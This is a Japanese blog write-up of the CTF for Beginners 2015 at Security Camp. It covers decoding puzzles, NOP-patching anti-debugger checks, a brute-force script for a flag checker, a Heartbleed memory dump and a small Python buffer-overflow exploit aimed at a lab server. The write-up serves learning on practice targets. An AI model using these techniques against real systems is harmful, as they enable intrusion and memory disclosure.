読者です 読者をやめる 読者になる 読者になる

Twitterに書ききれないこと

イベントや技術的なことを記したい・・・

CTF for ビギナーズ 2015 幕張 in セキュリティ・キャンプ writeup [スポンサー]

セキュリティキャンプで開催されるCTFに、協賛企業の参加可だったので参加してきた。

簡単な問題しか解けてないないのですが・・・writeupです。

結果

キャンプ生+チュータ・講師+スポンサーで70人前後?が参加してた。

トップらへんが独走している感じ。

15位だった。強い人writeupお願いします。

Binary200が解けてなくて辛い。

(終了後Binary 200が解けたのでwriteupに載せます)

 

f:id:pinksawtooth:20150814142406p:plain

writeup

atob(Misc 10)

Umt4QlIzdGlZWE5sTmpSOQ==

あきらかにbase64エンコードされてる。 一回デコードしただけではflagにならないので2回デコードした

base64 -d flag > flag2
base64 -d flag2 
FLAG{base64}

 

atob(Misc 100)

普通にPDF開いて墨塗り部分コピーしたらフラグ取れた・・・

AAA AAAA AAAAA AA AAAAA
AA AAAA AA AAAAAAA AAAAAAA
AA AAA AAAA AA AA AAAAAA
FLAG{NOT_BLOCK_BUT_BLOKK}
AAAAA AAAAAAAAAA AA A
AAAAAAAAAA AAAAAA AAA
AAAAAA AAAAA AAAAAAAA
AAAAAA A AAAA AAAAAAAA
AAAAAAAAA AAAAAAAAA A FA

 

IsBananaPresent(Binary 100)

実行するとすぐに終了してしまう。 デバッガで実行したいが、問題名からしてIsDebuggerPresentがあるっぽいのでIDAで開いた。

f:id:pinksawtooth:20150814145045p:plain

xrefを使ってIsDebuggerPresentを確認すると怪しいところがある。

f:id:pinksawtooth:20150814151244p:plain

.text:00401017                 mov     eax, large fs:30h
.text:0040101D                 mov     eax, [eax+68h]
.text:00401020                 mov     [ebp+var_C], eax
.text:00401023                 test    byte ptr [ebp+var_C], 70h
.text:00401027                 jnz     short loc_401074
.text:00401029                 call    ds:IsDebuggerPresent
.text:0040102F                 test    eax, eax
.text:00401031                 jz      short loc_401064

text:00401023と.text:00401029にデバッガ検知がある。 詳しくは別の記事で紹介してるのでそちらを

Windows Anti-Debug Reference まとめ その1 - Twitterに書ききれないこと  
 
Immunity Debuggerで.text:00401027の.text:00401031のジャンプ命令をnopにして実行する。

FLAG:flag{DUG5C}

IsDdebuggerPresentは複数あるがそれについては別の記事で紹介してるのでそちらで

IsDebuggerPresentに釣られた件 - Twitterに書ききれないこと

 

フラグはなに?(Binary 200)

とりあえず実行

FLAG CHECK:
FLAG{aaa
FAILED!!

正しい入力を入れればフラグが出そう。

出力された文字を参考に、IDAのStringで実行部分を特定して見ていく。

f:id:pinksawtooth:20150814195926p:plain

ざっと見ると

  • .text:004012E9あたりで[ebp+xxxx]に謎の値をコピーしてる

  • .text:00401352のcmpで0c7D('}')と比較している

  • }が末でなければ"CONGRATS!\n"にはならない

  • .text:00401360のcheck関数でなんか計算している入力と比較している?

といった感じ

check関数の部分を実装してスタックの値が何かを特定する方法を考えたが、いじっていると末尾が}だと入力が合っているかをチェックしてくれることが判明した。 ブルートフォースでフラグが特定できそう。 アルファベット大文字のみだと仮定すると手で入力できない数ではないが、めんどくさいのでpythonで実装した。 (作問者曰く普通にデコードルーチン書くのが正攻法らしい)

import sys
from subprocess import Popen, PIPE

def main():
    p = Popen(["bin200.exe"], stdout=PIPE, stdin=PIPE, shell=True)

    #ans = 'DOUBLE_KEISKE'
    ans = 'D'
  
    for length in range(14):
        for i in range(32):
        
            p = Popen(["bin200.exe"], stdout=PIPE, stdin=PIPE, shell=True)
            ans = ans+'}'
            flag = p.communicate(ans) #send flag
            ans = ans.strip('}')

            nextans= ans[:length]+chr(ord('A')+i)  
           
            if(flag[0]=='FLAG CHECK:\r\nFLAG{CONGRATS!\r\n'):
                print ans
                ans = ans+chr(ord('A')+i)
                break
            
            ans = nextans

if __name__ == '__main__':
    sys.exit(main())

終了してから解いたのでsubmitができてない。フラグがあっているか確かめれてないが、たぶんあってる。

D
DO
DOU
DOUB
DOUBL
DOUBLE
DOUBLE_
DOUBLE_K
DOUBLE_KE
DOUBLE_KEI
DOUBLE_KEIS
DOUBLE_KEISU
DOUBLE_KEISUK
DOUBLE_KEISUKE

 

ENCRYPTION!(Crypt 10)

数字、記号変わっていない・・・SYNT{RAWBLRAPELCGVBA}フラッグっぽい。

pythonでデコード。

JRYPBZR GB PGS SBE ORTVAAREF VA FRPHEVGL PNZC 2015. GUVF VF GUR GRFG DHRFGVBA SBE PGS ORTVAAREF. WHFG QRPELCG JVGU GUR EBG13 NAQ ERNQ VG. OL GUR JNL, GUR SYNT VF SYNT{RAWBLRAPELCGVBA}. RAWBL!
"SYNT{RAWBLRAPELCGVBA}".decode("rot13")
u'FLAG{ENJOYENCRYPTION}'

 

Insecure Protocol(Network 10)

Pcapファイルが与えられるのでwiresharkで開く。 プロトコルtelnet・・・問題名からして・・・Follow TCP Streamで見る。

f:id:pinksawtooth:20150814141423p:plain

FLAG:FLAG{telnet_is_insecure}

 

Bleeding The Flag!! Protocol(Network 100)

名前からしてあれ。セキュキャンの事前課題で二年連続でてるし・・・ コードを書くのは時間的にきついのでネットからExploitコードを拾ってくる。

Heartbleed test with data dump functionality. · GitHub

時間を見つけて自分で書いてみようと思う・・・

...
...
  ff00: 64 5F 4D 41 4B 55 48 41 52 49 7D 46 4C 41 47 7B  d_MAKUHARI}FLAG{
  ff10: 48 33 34 72 74 5F 42 31 33 33 64 5F 4D 41 4B 55  H34rt_B133d_MAKU
  ff20: 48 41 52 49 7D 46 4C 41 47 7B 48 33 34 72 74 5F  HARI}FLAG{H34rt_
  ff30: 42 31 33 33 64 5F 4D 41 4B 55 48 41 52 49 7D 46  B133d_MAKUHARI}F
  ff40: 4C 41 47 7B 48 33 34 72 74 5F 42 31 33 33 64 5F  LAG{H34rt_B133d_
  ff50: 4D 41 4B 55 48 41 52 49 7D 46 4C 41 47 7B 48 33  MAKUHARI}FLAG{H3
  ff60: 34 72 74 5F 42 31 33 33 64 5F 4D 41 4B 55 48 41  4rt_B133d_MAKUHA
  ff70: 52 49 7D 46 4C 41 47 7B 48 33 34 72 74 5F 42 31  RI}FLAG{H34rt_B1
  ff80: 33 33 64 5F 4D 41 4B 55 48 41 52 49 7D 46 4C 41  33d_MAKUHARI}FLA
  ff90: 47 7B 48 33 34 72 74 5F 42 31 33 33 64 5F 4D 41  G{H34rt_B133d_MA
  ffa0: 4B 55 48 41 52 49 7D                             KUHARI}

Received content written to the file ./dump
WARNING: server returned more data than it should - server is vulnerable!
FLAG:FLAG{H34rt_B133d_MAKUHARI}

 

pwn4b(Pwn 10)

こんな感じのコードが動いてるらしい。

#include <stdio.h>

int main(int argc, char *argv[]) {
  char name[20];
  int flag = 0;

  printf("Please input your name: ");
  scanf("%s", name);

  if (flag) {
    printf("FLAG{XXXXXXXXXXXXX}\n");
  }
}

ncで接続してnameに20以上文字を入れればフラグが出る

FLAG{areyouinterestedinpwn?}

exploitコードを書くならこんな感じか?

import socket

s = socket.socket()
s.connect(('172.23.246.151',31337))

s.recv(1024)
buf = 'AAAAAAAAAAAAAAAAAAAAA\n'
s.sendall(buf)

print s.recv(1024)